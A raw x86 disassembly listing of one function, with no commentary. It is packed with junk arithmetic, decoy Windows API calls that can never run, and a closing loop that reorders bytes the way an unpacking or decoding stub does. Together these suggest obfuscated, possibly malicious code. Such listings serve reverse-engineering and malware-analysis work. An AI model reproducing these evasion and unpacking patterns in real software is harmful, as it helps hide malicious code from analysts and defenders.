xor esi, esi
inc esi
mov dword [ebp - 0x38], esi
lea ecx, [ebp - 0x12c]
push esi
call fcn.100211fe
mov dword [ebp - 4], 8
mov dword [ebp - 0x20], 0xa0b8ee41
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x40], 0xbdebf889
mov dword [ebp - 0x24], 0x1198
cmp dword [ebp - 0x24], 0x13b6
jle 0x10065acc
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x28], 0x1943
mov eax, ebx
mov ecx, 0x10084b98
xor eax, edi
cdq
push edx
push eax
call fcn.10020ee4
add ebx, esi
dec dword [ebp - 0x28]
jne 0x10065a9c
inc esi
push 0
pop ebx
cmp esi, 0x1185
jl 0x10065a92
inc edi
cmp edi, 0x5874
jl 0x10065a90
xor esi, esi
inc esi
mov dword [ebp - 0x10], ebx
jmp 0x10065ae4
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x12c]
mov dword [eax + ecx*4], 0x438bea12
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10065ad1
cmp dword [ebp - 0x24], 0xf82
jge 0x10065b01
mov edx, 0x1000f940
mov ecx, 0x10084b98
call fcn.10023c34
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
test ecx, ecx
jne 0x10065b17
mov ecx, ebx
cmp dword [ebp - 0x20], ebx
je 0x10065b19
mov ecx, esi
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x18], ebx
jne 0x10065b28
mov eax, ebx
cmp dword [ebp - 0x20], ebx
je 0x10065b2a
mov eax, esi
cmp dword [ebp - 0x18], eax
jle 0x10065b32
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setg cl
xor edx, edx
cmp ecx, 0xf9986e3
lea ecx, [ebp - 0x12c]
setle dl
sub eax, edx
mov dword [ebp - 0x40], eax
or dword [ebp - 4], 0xffffffff
call fcn.10021280
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xa
jg 0x10065a57
mov esi, dword [ebp - 0x1c]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10065b8b
push ebx
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
mov edi, dword [esi]
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x10], 0xd21f1eb3
mov dword [ebp - 0x24], 0x7c7
mov dword [ebp - 0x28], 0x1be3
mov dword [ebp - 0x40], 0x4856
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x38], edi
cmp dword [ebp - 0x10], ebx
je 0x10065bd0
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x24], 0xd373
jg 0x10065bd0
xor edx, edx
inc edx
mov ecx, edx
jmp 0x10065bd5
xor edx, edx
mov ecx, ebx
inc edx
xor eax, eax
cmp ecx, 0xa4c9
setne al
xor ecx, ecx
cmp eax, 0x41145714
mov eax, dword [ebp - 0x20]
setge cl
inc dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
cmovle edx, ebx
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x24]
cmp edx, eax
mov eax, dword [ebp - 0x28]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x10], 0x3c5c
cmp dword [ebp - 0x10], 0x3d0a
jle 0x10065cb0
push ebx
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov edx, ebx
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov dword [ebp - 0x28], ebx
mov ecx, edi
mov esi, ebx
mov edi, edx
sar edi, cl
mov eax, esi
lea ecx, [ebp - 0x230]
or eax, edi
cdq
push edx
push eax
call fcn.1001105e
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10065c64
mov eax, dword [eax]
push eax
call fcn.10069ba3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x230]
call fcn.100219b4
inc esi
cmp esi, 0x7773
jl 0x10065c48
mov edi, dword [ebp - 0x28]
mov edx, dword [ebp - 0x20]
inc edi
mov dword [ebp - 0x28], edi
cmp edi, 0x3f3
jl 0x10065c40
inc edx
mov dword [ebp - 0x20], edx
cmp edx, 0x67e6
jl 0x10065c3b
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov edi, dword [ebp - 0x38]
mov esi, dword [ebp - 0x1c]
mov byte [ebp - 0x11], bl
cmp dword [ebp - 0x10], 0x3ab6
jge 0x10065cc7
push 0x1000f984
call fcn.10069ba3
pop ecx
cmp byte [ebp - 0x11], 0
je 0x10065cd9
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
mov dword [ebp - 0x28], 1
lea ecx, [ebp - 0x138]
mov dword [ebp - 0x38], 7
add esi, 4
mov dword [ebp - 0x10], 0x7865925e
mov dword [ebp - 0x28], 0xfffffff6
mov dword [ebp - 0x18], 0xabc106ec
push 2
mov dword [ebp - 0x1c], esi
pop esi
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa0], esi
mov dword [ebp - 0x9c], esi
mov dword [ebp - 0x38], 0x8fb8
mov dword [ebp - 0x24], 0xe19f8c51
mov dword [ebp - 0x20], 0xfffffffe
push esi
call fcn.100211fe
mov dword [ebp - 0x10], ebx
jmp 0x10065d56
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x138]
mov dword [eax + ecx*4], 0x9e820f90
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10065d43
mov dword [ebp - 0x28], 0xa6b950ba
xor edx, edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
sub ecx, eax
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xa0]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
imul eax, edx
mov dword [ebp - 0x28], eax
mov esi, dword [ebp - 0x28]
mov dword [ebp - 0xa4], esi
mov eax, dword [ebp - 0x20]
cmp eax, 0x29ac92d1
mov eax, dword [ebp - 0x18]
setge cl
xor edx, edx
cmp ecx, esi
setne dl
xor ecx, ecx
cmp edx, eax
setg cl
add ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 4]
inc dword [ebp - 0x24]
cmp ecx, eax
jge 0x10065dca
cmp dword [ebp - 0x20], ebx
je 0x10065dca
xor eax, eax
inc eax
jmp 0x10065dcc
mov eax, ebx
lea ecx, [ebp - 0x138]
mov dword [ebp - 0x18], eax
call fcn.10021280
test edi, edi
jne 0x10065de2
add dword [ebp - 0x1c], 8
mov dword [ebp - 0x18], 0xfffffffb
lea ecx, [ebp - 0xc0]
push 2
call fcn.100211fe
mov dword [ebp - 0x38], 0x8b78acc4
mov dword [ebp - 0x10], ebx
jmp 0x10065e15
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc0]
mov dword [eax + ecx*4], 0x9e843631
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10065e02
mov dword [ebp - 0x18], 0xe
cmp dword [ebp - 0x18], 0xf
jg 0x10065e8f
mov esi, dword [ebp - 0xc0]
xor ecx, ecx
inc ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x10], ebx
jmp 0x10065e43
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x78], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10065e39
mov dword [ebp - 0x20], 0x158d
xor edx, edx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
sub ecx, 0x384a3911
cmp eax, ecx
setne dl
imul edx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
neg edx
mov dword [esi + 4], edx
mov dword [ebp - 0x40], edx
xor edx, edx
cmp ecx, eax
setge dl
xor eax, eax
cmp dword [ebp - 0x40], edx
setne al
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xf
jle 0x10065e2e
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10065ea0
push ebx
push ebx
call dword [sym.imp.USER32.dll_EndPaint]
lea ecx, [ebp - 0xc0]
call fcn.10021280
mov esi, dword [ebp - 0x1c]
add esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x2c]
inc edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x2c], edi
cmp edi, dword [ebp - 0x44]
jl 0x100656a2
mov edi, dword [esi]
mov dword [ebp - 0x10], 0x29000d4e
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x10], ebx
jmp 0x10065ee6
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x184], 0xb9102071
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10065ed5
xor ecx, ecx
mov dword [ebp - 0x10], ebx
inc ecx
jmp 0x10065f03
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x184], ebx
jne 0x10065f08
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jle 0x10065ef4
mov eax, dword [esi + 4]
add esi, 8
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x20], 0xffffffeb
cmp dword [ebp - 0x20], 0xffffffe9
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x1c], esi
jl 0x100660a2
xor edi, edi
inc edi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x2c], 0xdbf0cf86
mov dword [ebp - 0x10], ebx
jmp 0x1006607f
mov dword [ebp - 0x18], 0x1c76d7be
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x18], ebx
je 0x10066016
push edi
lea ecx, [ebp - 0x16c]
call fcn.100211fe
mov dword [ebp - 4], 9
mov dword [ebp - 0x24], ebx
jmp 0x10065f7b
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x16c]
mov dword [eax + ecx*4], 0x4215e1ab
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10065f68
mov dword [ebp - 0x18], ebx
jmp 0x10065fef
push 3
lea ecx, [ebp - 0xcc]
call fcn.100211fe
mov dword [ebp - 0x24], ebx
jmp 0x10065fa7
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xcc]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x10065f97
mov esi, dword [ebp - 0xcc]
mov dword [esi + 8], ebx
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10065fcb
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
dec dword [esi + 8]
jns 0x10065fb6
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10065fe1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea ecx, [ebp - 0xcc]
call fcn.10021280
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffef
je 0x10065f85
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10066005
push ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x16c]
call fcn.10021280
jmp 0x1006607c
mov dword [ebp - 0x30], 4
mov dword [ebp - 0x2c], 0x56ebf4d3
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10066035
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov eax, dword [ebp - 0x2c]
push 6
pop ecx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setle cl
mov dword [ebp - 0x2c], ecx
mov esi, dword [ebp - 0x18]
sub esi, 0x748a
neg esi
sbb esi, esi
xor edx, edx
inc esi
add esi, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
imul esi, edx
cmp esi, eax
setl cl
mov dword [ebp - 0x30], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jg 0x10065f3d
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe9
jge 0x10065f2b
mov edi, dword [ebp - 0x38]
xor ecx, ecx
mov eax, dword [ebp - 0x40]
inc ecx
mov esi, dword [ebp - 0x1c]
test eax, eax
jne 0x1006615d
cmp byte [ebp - 0x39], al
je 0x100660bd
cmp dword [ebp - 0x34], ecx
jne 0x100660bd
mov ecx, dword [ebp + 8]
lea eax, [edi + 0x10]
add dword [ecx + 8], eax
mov eax, dword [esi]
mov dword [ebp - 0x30], eax
mov eax, dword [esi + 4]
add esi, 8
push edi
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x1c], esi
call fcn.1006867b
pop ecx
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0x5c]
lea eax, [ebp - 0x74]
mov dword [ebp - 0x74], ebx
push eax
push edi
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], ebx
call fcn.10066a31
mov esi, dword [ebp - 0x5c]
mov ecx, ebx
test edi, edi
jle 0x1006613e
mov eax, ecx
and eax, 0x80000001
jns 0x10066108
dec eax
or eax, 0xfffffffe
inc eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x30]
add eax, ecx
add eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x38]
jmp 0x1006611d
lea eax, [edx + 1]
cdq
idiv edi
cmp word [esi + edx*2], bx
jne 0x1006611a
xor eax, eax
inc eax
mov word [esi + edx*2], ax
mov eax, dword [ebp - 0x1c]
mov al, byte [edx + eax]
mov edx, dword [ebp - 0x2c]
mov byte [ecx + edx], al
inc ecx
cmp ecx, edi
jl 0x100660fa
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x2c]
mov dword [ecx], edi
mov dword [ecx + 4], eax
test esi, esi
je 0x10066162
push esi
call fcn.10069d79
pop ecx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], ebx
mov esi, dword [ebp + 8]
jmp 0x10066164
mov esi, ecx
mov dword [ebp - 0x1c], 0x2beaa32b
mov dword [ebp + 8], ebx
jmp 0x10066181
mov eax, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x148], 0xd149febb
inc dword [ebp + 8]
cmp dword [ebp + 8], 4
jl 0x10066170
xor ecx, ecx
mov dword [ebp + 8], ebx
inc ecx
jmp 0x100661a0
mov eax, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x170], 9
inc dword [ebp + 8]
cmp dword [ebp + 8], ecx
jl 0x1006618f
mov eax, dword [ebp - 0x1c]
push 3
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x1c], ebx
pop edi
jmp 0x1006621e
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], ebx
jmp 0x100661cd
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x148], ebx
jne 0x100661d2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jle 0x100661be
mov eax, dword [ebp - 0x1c]
inc eax
sub eax, dword [ebp - 0x13c]
neg eax
sbb eax, eax
inc eax
add eax, 0x463082ea
je 0x10066207
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], ebx
jl 0x1006621b
mov byte [ebp + 0xb], bl
cmp byte [ebp + 0xb], 0
je 0x10066200
push ebx
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
dec dword [ebp - 0x18]
jns 0x100661f0
jmp 0x1006621b
mov dword [ebp + 8], 0x516ea3de
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp + ecx*4 - 0x148], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jle 0x100661b6
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret